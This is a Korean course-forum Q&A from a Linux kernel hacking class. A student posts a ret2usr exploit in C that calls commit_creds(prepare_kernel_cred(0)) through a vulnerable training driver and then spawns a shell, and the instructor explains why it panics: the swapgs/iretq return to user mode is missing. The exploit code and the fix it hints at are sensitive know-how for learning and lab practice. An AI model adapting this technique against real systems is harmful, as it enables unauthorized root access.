강의

멘토링

커뮤니티

Inflearn Community Q&A

jjy6009012574's profile image
jjy6009012574

asked

Linux Kernel Hacking: A to Z

ret2usr technique

ret2usr 기법 관련 질문있습니다.

Written on

·

310

0

안녕하세요.

ret2usr 실습을 해보다가 궁금한 점이 생겨서 질문드립니다.

/*
gcc -masm=intel -static -o test_exp test_exp.c -no-pie
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>

unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred);
unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred);

void payload(void) {
    commit_creds(prepare_kernel_cred(0));
    execl("/bin/sh", "sh", NULL);
}

int main() {
    int fd;
    void *ptr = 0;
    
    commit_creds = 0xffffffff8108e9f0;
    prepare_kernel_cred = 0xffffffff8108ec20;

    fd = open("/dev/test", O_RDWR);

    ptr = &payload;
    printf("Shell executing...\n");
    write(fd, &ptr, sizeof(ptr));

    close(fd);
    printf("Shell executed?\n");
    return 0;
}

payload함수의 주소를 넘겨주고, 이걸 커널에서 fp_exec() 로 실행할 수 있으니,
위의 코드처럼 그냥 shell 함수를 commit_creds(prepare_kernel_cred(0)) 이후에 execl 을 하도록 수정한 뒤, test 드라이버에 shell 함수의 주소를 넘겨서 테스트해보았습니다.

결과적으로는 커널 패닉이 났고, gdb 로 어느정도 디버깅을 해보았지만 심볼이 없다보니 정확히 어느 부분에서 패닉이 나는지 찾기 어렵더라구요.

그래서 커널 모드에서 유저 모드로의 전환없이 execv 시스템콜을 호출하려고 해서 패닉이 났을거라고 추측은 해봤는데, 이 추측이 맞은 것인지 궁금합니다.

ret2usr모의해킹linux시스템 해킹

Answer 1

2

v4bel님의 프로필 이미지
v4bel
Instructor

안녕하세요.

execl 함수는 유저 모드에서 실행되어야 하는 함수입니다.

작성하신 exploit에는 swapgs 및 iretq를 이용해 유저 모드로 복귀하는 작업이 빠져있네요.

질문 주신 대로 유저 모드로의 전환 없이 execl 함수를 실행해서 커널 패닉이 일어난 것이 맞습니다.

감사합니다.

jjy6009012574님의 프로필 이미지
jjy6009012574
Questioner

빠른 답변 정말 감사합니다 :)

jjy6009012574's profile image
jjy6009012574

asked

Ask a question